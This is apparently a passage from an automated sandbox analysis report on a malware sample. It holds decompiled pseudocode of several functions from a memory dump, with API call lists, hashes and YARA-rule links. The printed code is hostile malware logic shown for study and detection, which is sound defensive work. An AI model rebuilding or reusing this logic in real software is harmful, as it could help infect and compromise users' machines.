							 *0x418d2c8 = _t36;
							__eflags = _t36;
							if(_t36 == 0) {
								_push(8);
								_pop(0);
							} else {
								_t56 =  *0x418d25c; // 0x4000000a
								_t61 = _t56 & 0x000000ff;
								_t58 =  *0x418d2a8; // 0x99a5a8
								_t13 = _t58 + 0x418e55a; // 0x697a6f4d
								_t55 = _t13;
								wsprintfA(_t36, _t13, _t56 & 0x000000ff, _t56 & 0x000000ff, 0x418c287);
							}
							_t54 = 0;
							__eflags = 0;
							if(0 == 0) {
								asm("sbb eax, eax");
								E04189135( ~_v8 &  *0x418d270, 0x418d00c); // executed
								_t42 = E0418888E(_t55); // executed
								_t54 = _t42;
								__eflags = _t54;
								if(_t54 != 0) {
									goto L30;
								}
								_t43 = E041887AE(); // executed
								__eflags = _t43;
								if(_t43 != 0) {
									__eflags = _v8;
									_t65 = _v12;
									if(_v8 != 0) {
										L29:
										_t44 = E041851B0(_t61, _t65, _v8); // executed
										_t54 = _t44;
										goto L30;
									}
									__eflags = _t65;
									if(__eflags == 0) {
										goto L30;
									}
									_t54 = E04181C66(__eflags,  &(_t65[4]));
									__eflags = _t54;
									if(_t54 == 0) {
										goto L30;
									}
									goto L29;
								}
								_t54 = 8;
							}
						}
					} else {
						_t66 = _v12;
						if(_t66 == 0) {
							L30:
							if(_v16 == 0 || _v16 == 1) {
								 *0x418d15c();
							}
							goto L34;
						}
						_t67 =  &(_t66[4]);
						do {
						} while (E0418A273(_t62, _t67, 0, 1) == 0x4c7);
					}
					goto L30;
				} else {
					_t54 = _t22;
					L34:
					return _t54;
				}
			}

0x04185ba2
0x04185bad
0x04185bb0
0x04185bb3
0x04185bb6
0x04185bbd
0x04185bbf
0x04185bcb
0x04185bcd
0x04185bcd
0x04185bd6
0x04185bdc
0x04185be1
0x04185bfb
0x04185c07
0x04185c09
0x04185c0e
0x04185c18
0x04185c18
0x04185c10
0x04185c10
0x04185c10
0x04185c10
0x04185c1f
0x04185c2c
0x04185c33
0x04185c38
0x04185c38
0x04185c40
0x04185c43
0x04185c69
0x04185c75
0x04185c7a
0x04185c7f
0x04185c81
0x04185cad
0x04185caf
0x04185c83
0x04185c87
0x04185c8c
0x04185c91
0x04185c98
0x04185c9e
0x04185ca3
0x04185ca9
0x04185cb0
0x04185cb2
0x04185cb4
0x04185cc3
0x04185cc9
0x04185cce
0x04185cd0
0x04185d00
0x04185d02
0x04185cd2
0x04185cd2
0x04185cd8
0x04185ce5
0x04185ceb
0x04185ceb
0x04185cf3
0x04185cfc
0x04185d03
0x04185d05
0x04185d07
0x04185d0e
0x04185d1b
0x04185d20
0x04185d25
0x04185d27
0x04185d29
0x00000000
0x00000000
0x04185d2b
0x04185d30
0x04185d32
0x04185d39
0x04185d3d
0x04185d40
0x04185d55
0x04185d59
0x04185d5e
0x00000000
0x04185d5e
0x04185d42
0x04185d44
0x00000000
0x00000000
0x04185d4f
0x04185d51
0x04185d53
0x00000000
0x00000000
0x00000000
0x04185d53
0x04185d36
0x04185d36
0x04185d07
0x04185c45
0x04185c45
0x04185c4a
0x04185d60
0x04185d64
0x04185d6c
0x04185d6c
0x00000000
0x04185d64
0x04185c50
0x04185c53
0x04185c5d
0x04185c64
0x00000000
0x04185d74
0x04185d74
0x04185d78
0x04185d7c
0x04185d7c

APIs

Part of subcall function 04186C09: GetModuleHandleA.KERNEL32(4C44544E,00000000,04185BBB,00000000,00000000), ref: 04186C18

CloseHandle.KERNEL32(?,?,?,4D283A53,?,?), ref: 04185C38

Part of subcall function 0418A71F: RtlAllocateHeap.NTDLL(00000000,00000000,04185595), ref: 0418A72B

memset.NTDLL ref: 04185C87
RtlInitializeCriticalSection.NTDLL(04B29570), ref: 04185C98

Part of subcall function 04181C66: memset.NTDLL ref: 04181C7B
Part of subcall function 04181C66: lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 04181CBD
Part of subcall function 04181C66: StrCmpNIW.SHLWAPI(00000000,00000000,00000000), ref: 04181CC8

RtlAllocateHeap.NTDLL(00000000,00000043,00000060), ref: 04185CC3
wsprintfA.USER32 ref: 04185CF3

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHandleHeapmemset$CloseCriticalInitializeModuleSectionlstrlenwsprintf
String ID:
API String ID: 4246211962-0
Opcode ID: f402b9c5fc757eda576e269853fdec8e44e9e31faef6d2e5bbb5d7aa8984e6a6
Instruction ID: b165475e49a1b6085bfd8d4a4b6ade47c67a0690e5e1aeecb617b0e201d30d8e
Opcode Fuzzy Hash: f402b9c5fc757eda576e269853fdec8e44e9e31faef6d2e5bbb5d7aa8984e6a6
Instruction Fuzzy Hash: AB51A171A00318BBEB21BFA5E8C8B5E77FAEB04714F54455DE901D7180E778B9858FA0

Uniqueness

Uniqueness Score: -1.00%

Function 041862DA, Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 145
stringCOMMON

Download Yara Rule

C-Code - Quality: 22%

			E041862DA(signed int __eax, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _t81;
				char _t83;
				signed int _t90;
				signed int _t97;
				signed int _t99;
				char _t101;
				unsigned int _t102;
				intOrPtr _t103;
				char* _t107;
				signed int _t110;
				signed int _t113;
				signed int _t118;
				signed int _t122;
				intOrPtr _t124;

				_t102 = _a8;
				_t118 = 0;
				_v20 = __eax;
				_t122 = (_t102 >> 2) + 1;
				_v8 = 0;
				_a8 = 0;
				_t81 = E0418A71F(_t122 << 2);
				_v16 = _t81;
				if(_t81 == 0) {
					_push(8);
					_pop(0);
					L37:
					return 0;
				}
				_t107 = _a4;
				_a4 = _t102;
				_t113 = 0;
				while(1) {
					_t83 =  *_t107;
					if(_t83 == 0) {
						break;
					}
					if(_t83 == 0xd || _t83 == 0xa) {
						if(_t118 != 0) {
							if(_t118 > _v8) {
								_v8 = _t118;
							}
							_a8 = _a8 + 1;
							_t118 = 0;
						}
						 *_t107 = 0;
						goto L16;
					} else {
						if(_t118 != 0) {
							L10:
							_t118 = _t118 + 1;
							L16:
							_t107 = _t107 + 1;
							_t15 =  &_a4;
							 *_t15 = _a4 - 1;
							if( *_t15 != 0) {
								continue;
							}
							break;
						}
						if(_t113 == _t122) {
							L21:
							if(_a8 <= 0x20) {
								_push(0xb);
								L34:
								_pop(0);
								L35:
								E0418A734(_v16);
								goto L37;
							}
							_t24 = _v8 + 5; // 0xcdd8d2f8
							_t103 = E0418A71F((_v8 + _t24) * _a8 + 4);
							if(_t103 == 0) {
								_push(8);
								goto L34;
							}
							_t90 = _a8;
							_a4 = _a4 & 0x00000000;
							_v8 = _v8 & 0x00000000;
							_t124 = _t103 + _t90 * 4;
							if(_t90 <= 0) {
								L31:
								 *0x418d278 = _t103;
								goto L35;
							}
							do {
								_t110 = 0x3c6ef35f + _v20 * 0x19660d;
								_v20 = 0x3c6ef35f + _t110 * 0x19660d;
								__imp__(_t124,  *((intOrPtr*)(_v16 + _t110 % _a8 * 4)));
								__imp__(_t124,  *((intOrPtr*)(_v16 + _v20 % _a8 * 4)));
								_v12 = _v12 & 0x00000000;
								if(_a4 <= 0) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t99 = _v12;
									__imp__( *((intOrPtr*)(_t103 + _t99 * 4)), _t124); // executed
									if(_t99 == 0) {
										break;
									}
									_v12 = _v12 + 1;
									if(_v12 < _a4) {
										continue;
									}
									goto L30;
								}
								_v8 = _v8 - 1;
								L30:
								_t97 = _a4;
								_a4 = _a4 + 1;
								 *((intOrPtr*)(_t103 + _t97 * 4)) = _t124;
								__imp__(_t124);
								_v8 = _v8 + 1;
								_t124 = _t124 + _t97 + 1;
							} while (_v8 < _a8);
							goto L31;
						}
						 *((intOrPtr*)(_v16 + _t113 * 4)) = _t107;
						_t101 = _t83;
						if(_t83 - 0x61 <= 0x19) {
							_t101 = _t101 - 0x20;
						}
						 *_t107 = _t101;
						_t113 = _t113 + 1;
						goto L10;
					}
				}
				if(_t118 != 0) {
					if(_t118 > _v8) {
						_v8 = _t118;
					}
					_a8 = _a8 + 1;
				}
				goto L21;
			}

0x041862e1
0x041862e8
0x041862ed
0x041862f0
0x041862f7
0x041862fa
0x041862fd
0x04186302
0x04186307
0x0418645b
0x0418645d
0x0418645f
0x04186464
0x04186464
0x0418630d
0x04186310
0x04186313
0x04186315
0x04186315
0x04186319
0x00000000
0x00000000
0x0418631d
0x04186349
0x0418634e
0x04186350
0x04186350
0x04186353
0x04186356
0x04186356
0x04186358
0x00000000
0x04186323
0x04186325
0x04186344
0x04186344
0x0418635b
0x0418635b
0x0418635c
0x0418635c
0x0418635f
0x00000000
0x00000000
0x00000000
0x0418635f
0x04186329
0x04186370
0x04186374
0x0418644e
0x04186450
0x04186450
0x04186451
0x04186454
0x00000000
0x04186454
0x0418637d
0x0418638e
0x04186392
0x0418644a
0x00000000
0x0418644a
0x04186398
0x0418639b
0x0418639f
0x041863a3
0x041863a8
0x04186440
0x04186440
0x00000000
0x04186446
0x041863b3
0x041863bc
0x041863d0
0x041863d7
0x041863ec
0x041863f2
0x041863fa
0x00000000
0x00000000
0x00000000
0x00000000
0x041863fc
0x041863fc
0x041863fc
0x04186403
0x0418640b
0x00000000
0x00000000
0x0418640d
0x04186416
0x00000000
0x00000000
0x00000000
0x04186418
0x0418641a
0x0418641d
0x0418641d
0x04186420
0x04186424
0x04186427
0x0418642d
0x04186430
0x04186437
0x00000000
0x041863b3
0x0418632e
0x04186336
0x0418633c
0x0418633e
0x0418633e
0x04186341
0x04186343
0x00000000
0x04186343
0x0418631d
0x04186363
0x04186368
0x0418636a
0x0418636a
0x0418636d
0x0418636d
0x00000000

APIs

Part of subcall function 0418A71F: RtlAllocateHeap.NTDLL(00000000,00000000,04185595), ref: 0418A72B

lstrcpy.KERNEL32(63699BC4,00000020), ref: 041863D7
lstrcat.KERNEL32(63699BC4,00000020), ref: 041863EC
lstrcmp.KERNEL32(00000000,63699BC4), ref: 04186403
lstrlen.KERNEL32(63699BC4), ref: 04186427

Strings

, xrefs: 04186370

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeaplstrcatlstrcmplstrcpylstrlen
String ID:
API String ID: 3214092121-3916222277
Opcode ID: acca9c90cee7dee83cced4ed8884d7e3c8c195a79d0295fa28a791144375b76d
Instruction ID: 22a7914f2117f088d0cd9f762ccfaf9d4ac97e710950bffade819f1d0ff4224e
Opcode Fuzzy Hash: acca9c90cee7dee83cced4ed8884d7e3c8c195a79d0295fa28a791144375b76d
Instruction Fuzzy Hash: 4F51BC75A00208EBDF21EF99C5C46ADBBB6FF41354F1580AEE8199B201C771BA42CF90

Uniqueness

Uniqueness Score: -1.00%

Function 04183AB0, Relevance: 6.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(80000002), ref: 04183B0D
SysAllocString.OLEAUT32(041885ED), ref: 04183B51
SysFreeString.OLEAUT32(00000000), ref: 04183B65
SysFreeString.OLEAUT32(00000000), ref: 04183B73

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: e31dd9e348a02882e3ae9b42072f8e8e8a839707cbcc6a0936477fb043e990dd
Instruction ID: 39550987e0170f4cd9a138ca6429a06f7414a00ba191ee147d1b9fca6ea2471c
Opcode Fuzzy Hash: e31dd9e348a02882e3ae9b42072f8e8e8a839707cbcc6a0936477fb043e990dd
Instruction Fuzzy Hash: 0A3132B5900209EFCB05DF99D8C08AE7BB9FF48750B14842EF915D7250E735A981CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 041836B1, Relevance: 6.1, APIs: 4, Instructions: 87
sleepCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E041836B1(void* __ecx, void* __eflags, intOrPtr _a4, signed int* _a8, intOrPtr _a12) {
				intOrPtr _v12;
				void* _v16;
				void* _v28;
				char _v32;
				void* __esi;
				void* _t20;
				void* _t26;
				void* _t29;
				void* _t38;
				signed int* _t39;
				void* _t40;

				_t36 = __ecx;
				_v32 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v12 = _a4;
				_t20 = E04183BB9(__ecx,  &_v32); // executed
				_t38 = _t20;
				if(_t38 != 0) {
					L12:
					_t39 = _a8;
					L13:
					if(_t39 != 0 && ( *_t39 & 0x00000001) == 0) {
						_t16 =  &(_t39[1]); // 0x5
						_t23 = _t16;
						if( *_t16 != 0) {
							E04184F79(_t23);
						}
					}
					return _t38;
				}
				_t26 = E0418A2F9(0x40,  &_v16); // executed
				if(_t26 != 0) {
					_v16 = 0;
				}
				_t40 = CreateEventA(0x418d2ac, 1, 0,  *0x418d344);
				if(_t40 != 0) {
					SetEvent(_t40);
					Sleep(0xbb8); // executed
					CloseHandle(_t40);
				}
				_push( &_v32);
				if(_a12 == 0) {
					_t29 = E0418A446(_t36);
				} else {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_t29 = E0418853F(_t36);
				}
				_t41 = _v16;
				_t38 = _t29;
				if(_v16 != 0) {
					E04184F14(_t41);
				}
				if(_t38 != 0) {
					goto L12;
				} else {
					_t39 = _a8;
					_t38 = E041811EE( &_v32, _t39);
					goto L13;
				}
			}

0x041836b1
0x041836be
0x041836c4
0x041836c5
0x041836c6
0x041836c7
0x041836c8
0x041836cc
0x041836d3
0x041836d8
0x041836dc
0x04183764
0x04183764
0x04183767
0x04183769
0x04183771
0x04183771
0x04183777
0x0418377a
0x0418377a
0x04183777
0x04183785
0x04183785
0x041836e8
0x041836ef
0x041836f1
0x041836f1
0x04183708
0x0418370c
0x0418370f
0x0418371a
0x04183721
0x04183721
0x0418372a
0x0418372e
0x0418373c
0x04183730
0x04183730
0x04183731
0x04183732
0x04183733
0x04183734
0x04183735
0x04183735
0x04183741
0x04183744
0x04183748
0x0418374a
0x0418374a
0x04183751
0x00000000
0x04183753
0x04183753
0x04183760
0x00000000
0x04183760

APIs

CreateEventA.KERNEL32(0418D2AC,00000001,00000000,00000040,00000001,?,7519F710,00000000,7519F730,?,?,?,041852AA,?,00000001,?), ref: 04183702
SetEvent.KERNEL32(00000000,?,?,?,041852AA,?,00000001,?,00000002,?,?,04185D5E,?), ref: 0418370F
Sleep.KERNELBASE(00000BB8,?,?,?,041852AA,?,00000001,?,00000002,?,?,04185D5E,?), ref: 0418371A
CloseHandle.KERNEL32(00000000,?,?,?,041852AA,?,00000001,?,00000002,?,?,04185D5E,?), ref: 04183721

Part of subcall function 0418A446: RegOpenKeyExA.ADVAPI32(80000003,00000000,00000000,00020019,?,00000000,00000000,?,?,?,?,?,04183741,?), ref: 0418A46C
Part of subcall function 0418A446: RegEnumKeyExA.ADVAPI32(?,?,?,04183741,00000000,00000000,00000000,00000000,00000104,00000000,?,?,?,?,?,04183741), ref: 0418A4B3
Part of subcall function 0418A446: WaitForSingleObject.KERNEL32(00000000,?,?,?,04183741,?,04183741,?,?,?,?,?,04183741,?), ref: 0418A520
Part of subcall function 0418A446: RegCloseKey.ADVAPI32(?,00000104,00000000,?,?,?,?,?,04183741,?,?,?,?,041852AA,?,00000001), ref: 0418A548

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: CloseEvent$CreateEnumHandleObjectOpenSingleSleepWait
String ID:
API String ID: 891522397-0
Opcode ID: 0ceec1e454d0a11c7818f5bad095d1d5fd98dbe6ea95955bce994f6da5489c1d
Instruction ID: 8b10236de6540858af4be032bc145ba24763f20288e620a0e36d8035d55ced7a
Opcode Fuzzy Hash: 0ceec1e454d0a11c7818f5bad095d1d5fd98dbe6ea95955bce994f6da5489c1d
Instruction Fuzzy Hash: 1021AAB790021DABDF11BFE988C489EB769EF44754B09446DEE21E7100E735F9458FA0

Uniqueness

Uniqueness Score: -1.00%

Function 04186545, Relevance: 6.1, APIs: 4, Instructions: 76
sleepstringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E04186545(intOrPtr* __eax, void** _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _t26;
				intOrPtr* _t28;
				intOrPtr _t31;
				intOrPtr* _t32;
				void* _t39;
				int _t46;
				intOrPtr* _t47;
				int _t48;

				_t47 = __eax;
				_push( &_v12);
				_push(__eax);
				_t39 = 0;
				_t46 = 0; // executed
				_t26 =  *((intOrPtr*)( *__eax + 0x24))();
				_v8 = _t26;
				if(_t26 < 0) {
					L13:
					return _v8;
				}
				if(_v12 == 0) {
					Sleep(0xc8);
					_v8 =  *((intOrPtr*)( *_t47 + 0x24))(_t47,  &_v12);
				}
				if(_v8 >= _t39) {
					_t28 = _v12;
					if(_t28 != 0) {
						_t31 =  *((intOrPtr*)( *_t28 + 0x100))(_t28,  &_v16);
						_v8 = _t31;
						if(_t31 >= 0) {
							_t46 = lstrlenW(_v16);
							if(_t46 != 0) {
								_t46 = _t46 + 1;
								_t48 = _t46 + _t46;
								_t39 = E0418A71F(_t48);
								if(_t39 == 0) {
									_v8 = 0x8007000e;
								} else {
									memcpy(_t39, _v16, _t48);
								}
								__imp__#6(_v16); // executed
							}
						}
						_t32 = _v12;
						 *((intOrPtr*)( *_t32 + 8))(_t32);
					}
					 *_a4 = _t39;
					 *_a8 = _t46 + _t46;
				}
				goto L13;
			}

0x04186551
0x04186555
0x04186556
0x04186557
0x04186559
0x0418655b
0x0418655e
0x04186563
0x041865fa
0x04186601
0x04186601
0x0418656c
0x04186573
0x04186583
0x04186583
0x04186589
0x0418658b
0x04186590
0x04186599
0x0418659f
0x041865a4
0x041865af
0x041865b3
0x041865b5
0x041865b6
0x041865bf
0x041865c3
0x041865d4
0x041865c5
0x041865ca
0x041865cf
0x041865de
0x041865de
0x041865b3
0x041865e4
0x041865ea
0x041865ea
0x041865f3
0x041865f8
0x041865f8
0x00000000

APIs

Sleep.KERNEL32(000000C8), ref: 04186573
lstrlenW.KERNEL32(?), ref: 041865A9
memcpy.NTDLL(00000000,?,?,?), ref: 041865CA
SysFreeString.OLEAUT32(?), ref: 041865DE

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeSleepStringlstrlenmemcpy
String ID:
API String ID: 1198164300-0
Opcode ID: 050a15569c2a080895d3ef6d47d5e31f969760e1af050ff1ad91c93bec88be34
Instruction ID: a7164416161862a893ea2c8e9418d39d440f3bffc2f320b2abfa99b58b7d1a5d
Opcode Fuzzy Hash: 050a15569c2a080895d3ef6d47d5e31f969760e1af050ff1ad91c93bec88be34
Instruction Fuzzy Hash: 91215675900209EFDB11EFA4C9C499EBBB5FF58344B1081ADE901D7214EB70EA41CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0418486F, Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E0418486F(char* __eax) {
				char* _t8;
				intOrPtr _t12;
				char* _t21;
				signed int _t23;
				char* _t24;
				signed int _t26;
				void* _t27;

				_t21 = __eax;
				_push(0x20);
				_t23 = 1;
				_push(__eax);
				while(1) {
					_t8 = StrChrA();
					if(_t8 == 0) {
						break;
					}
					_t23 = _t23 + 1;
					_push(0x20);
					_push( &(_t8[1]));
				}
				_t12 = E0418A71F(_t23 << 2);
				 *((intOrPtr*)(_t27 + 0x10)) = _t12;
				if(_t12 != 0) {
					StrTrimA(_t21, 0x418c284); // executed
					_t26 = 0;
					do {
						_t24 = StrChrA(_t21, 0x20);
						if(_t24 != 0) {
							 *_t24 = 0;
							_t24 =  &(_t24[1]);
							StrTrimA(_t24, 0x418c284);
						}
						 *( *((intOrPtr*)(_t27 + 0x10)) + _t26 * 4) = _t21;
						_t26 = _t26 + 1;
						_t21 = _t24;
					} while (_t24 != 0);
					 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x18)))) =  *((intOrPtr*)(_t27 + 0x10));
				}
				return 0;
			}

0x0418487a
0x0418487e
0x04184880
0x04184881
0x04184889
0x04184889
0x0418488d
0x00000000
0x00000000
0x04184884
0x04184885
0x04184888
0x04184888
0x04184895
0x0418489a
0x041848a0
0x041848a8
0x041848ae
0x041848b0
0x041848b5
0x041848b9
0x041848bb
0x041848be
0x041848c5
0x041848c5
0x041848cf
0x041848d2
0x041848d3
0x041848d5
0x041848e1
0x041848e1
0x041848ee

APIs

StrChrA.SHLWAPI(?,00000020,00000000,04B295AC,?,04185D25,?,0418243F,04B295AC,?,04185D25), ref: 04184889
StrTrimA.KERNELBASE(?,0418C284,00000002,?,04185D25,?,0418243F,04B295AC,?,04185D25), ref: 041848A8
StrChrA.SHLWAPI(?,00000020,?,04185D25,?,0418243F,04B295AC,?,04185D25), ref: 041848B3
StrTrimA.SHLWAPI(00000001,0418C284,?,04185D25,?,0418243F,04B295AC,?,04185D25), ref: 041848C5

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: Trim
String ID:
API String ID: 3043112668-0
Opcode ID: ffcd14e215756451bd0e8dc7932517409d806949d8aae3e4ca9662e88492c603
Instruction ID: e8f0e44ca7dfa00c01112a519988d1967dcf84703829e4f4370d04227c0bf77b
Opcode Fuzzy Hash: ffcd14e215756451bd0e8dc7932517409d806949d8aae3e4ca9662e88492c603
Instruction Fuzzy Hash: 9601F5717413569FD220AEA69C88E27BB98EF46A94F11051CF841C7380FF60E8018AF0

Uniqueness

Uniqueness Score: -1.00%

Function 04188D14, Relevance: 4.6, APIs: 3, Instructions: 94
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04188D14(void* __edx) {
				void* _v8;
				int _v12;
				WCHAR* _v16;
				void* __edi;
				void* __esi;
				void* _t23;
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t32;
				intOrPtr _t35;
				void* _t37;
				intOrPtr _t38;
				void* _t40;
				intOrPtr _t42;
				void* _t45;
				void* _t50;
				void* _t52;

				_t50 = __edx;
				_v12 = 0;
				_t23 = E0418A2F9(0,  &_v8); // executed
				if(_t23 != 0) {
					_v8 = 0;
				}
				_t24 =  *0x418d2a8; // 0x99a5a8
				_t4 = _t24 + 0x418edc0; // 0x4b29368
				_t5 = _t24 + 0x418ed68; // 0x4f0053
				_t26 = E04185356( &_v16, _v8, _t5, _t4); // executed
				_t45 = _t26;
				if(_t45 == 0) {
					StrToIntExW(_v16, 0,  &_v12);
					_t45 = 8;
					if(_v12 < _t45) {
						_t45 = 1;
						__eflags = 1;
					} else {
						_t32 =  *0x418d2a8; // 0x99a5a8
						_t11 = _t32 + 0x418edb4; // 0x4b2935c
						_t48 = _t11;
						_t12 = _t32 + 0x418ed68; // 0x4f0053
						_t52 = E041845C6(_t11, _t12, _t11);
						_t59 = _t52;
						if(_t52 != 0) {
							_t35 =  *0x418d2a8; // 0x99a5a8
							_t13 = _t35 + 0x418edfe; // 0x30314549
							_t37 = E04188E27(_t48, _t50, _t59, _v8, _t52, _t13, 0x14); // executed
							if(_t37 == 0) {
								_t61 =  *0x418d25c - 6;
								if( *0x418d25c <= 6) {
									_t42 =  *0x418d2a8; // 0x99a5a8
									_t15 = _t42 + 0x418ec0a; // 0x52384549
									E04188E27(_t48, _t50, _t61, _v8, _t52, _t15, 0x13);
								}
							}
							_t38 =  *0x418d2a8; // 0x99a5a8
							_t17 = _t38 + 0x418edf8; // 0x4b293a0
							_t18 = _t38 + 0x418edd0; // 0x680043
							_t40 = E04185D7D(_v8, 0x80000001, _t52, _t18, _t17); // executed
							_t45 = _t40;
							HeapFree( *0x418d238, 0, _t52);
						}
					}
					HeapFree( *0x418d238, 0, _v16);
				}
				_t54 = _v8;
				if(_v8 != 0) {
					E04184F14(_t54);
				}
				return _t45;
			}

0x04188d14
0x04188d24
0x04188d27
0x04188d2e
0x04188d30
0x04188d30
0x04188d33
0x04188d38
0x04188d3f
0x04188d4c
0x04188d51
0x04188d55
0x04188d63
0x04188d71
0x04188d75
0x04188e06
0x04188e06
0x04188d7b
0x04188d7b
0x04188d80
0x04188d80
0x04188d87
0x04188d93
0x04188d95
0x04188d97
0x04188d99
0x04188da0
0x04188dab
0x04188db2
0x04188db4
0x04188dbb
0x04188dbd
0x04188dc4
0x04188dcf
0x04188dcf
0x04188dbb
0x04188dd4
0x04188dd9
0x04188de0
0x04188df0
0x04188dfe
0x04188e00
0x04188e00
0x04188d97
0x04188e12
0x04188e12
0x04188e14
0x04188e19
0x04188e1b
0x04188e1b
0x04188e26

APIs

StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,04B29368,00000000,?,7519F710,00000000,7519F730), ref: 04188D63
HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,04B293A0,?,00000000,30314549,00000014,004F0053,04B2935C), ref: 04188E00
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,0418523E), ref: 04188E12

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 0c52e80f6f0ce5e229020874202686115889dbd0c817a4cff8d8b8db2684c3d7
Instruction ID: 5483466670fdafdb4afa243e121f6ba97cbb7074722eb296ea5705c481acb915
Opcode Fuzzy Hash: 0c52e80f6f0ce5e229020874202686115889dbd0c817a4cff8d8b8db2684c3d7
Instruction Fuzzy Hash: BF314D31A00219FFEB11FB95EC84E9A7BBEEB44718F54429DB50097160E770AE88DF50

Uniqueness

Uniqueness Score: -1.00%

Function 0418A376, Relevance: 4.6, APIs: 3, Instructions: 76
memoryCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E0418A376(void* __ecx, void* __edx, char _a4, void** _a8, intOrPtr* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				void* _v8;
				void* __edi;
				intOrPtr _t18;
				void* _t24;
				void* _t25;
				void* _t30;
				void* _t36;
				void* _t40;
				intOrPtr _t42;

				_t36 = __edx;
				_t32 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t42 =  *0x418d340; // 0x4b29a88
				_push(0x800);
				_push(0);
				_push( *0x418d238);
				if( *0x418d24c >= 5) {
					if(RtlAllocateHeap() == 0) {
						L6:
						_t30 = 8;
						L7:
						if(_t30 != 0) {
							L10:
							 *0x418d24c =  *0x418d24c + 1;
							L11:
							return _t30;
						}
						_t44 = _a4;
						_t40 = _v8;
						 *_a16 = _a4;
						 *_a20 = E04187306(_t44, _t40); // executed
						_t18 = E04184A09(_t40, _t44); // executed
						if(_t18 != 0) {
							 *_a8 = _t40;
							 *_a12 = _t18;
							if( *0x418d24c < 5) {
								 *0x418d24c =  *0x418d24c & 0x00000000;
							}
							goto L11;
						}
						_t30 = 0xbf;
						E04186761();
						RtlFreeHeap( *0x418d238, 0, _t40); // executed
						goto L10;
					}
					_t24 = E04181F13(_a4, _t32, _t36, _t42,  &_v8,  &_a4, _t13);
					L5:
					_t30 = _t24;
					goto L7;
				}
				_t25 = RtlAllocateHeap(); // executed
				if(_t25 == 0) {
					goto L6;
				}
				_t24 = E04184AB6(_a4, _t32, _t36, _t42,  &_v8,  &_a4, _t25); // executed
				goto L5;
			}

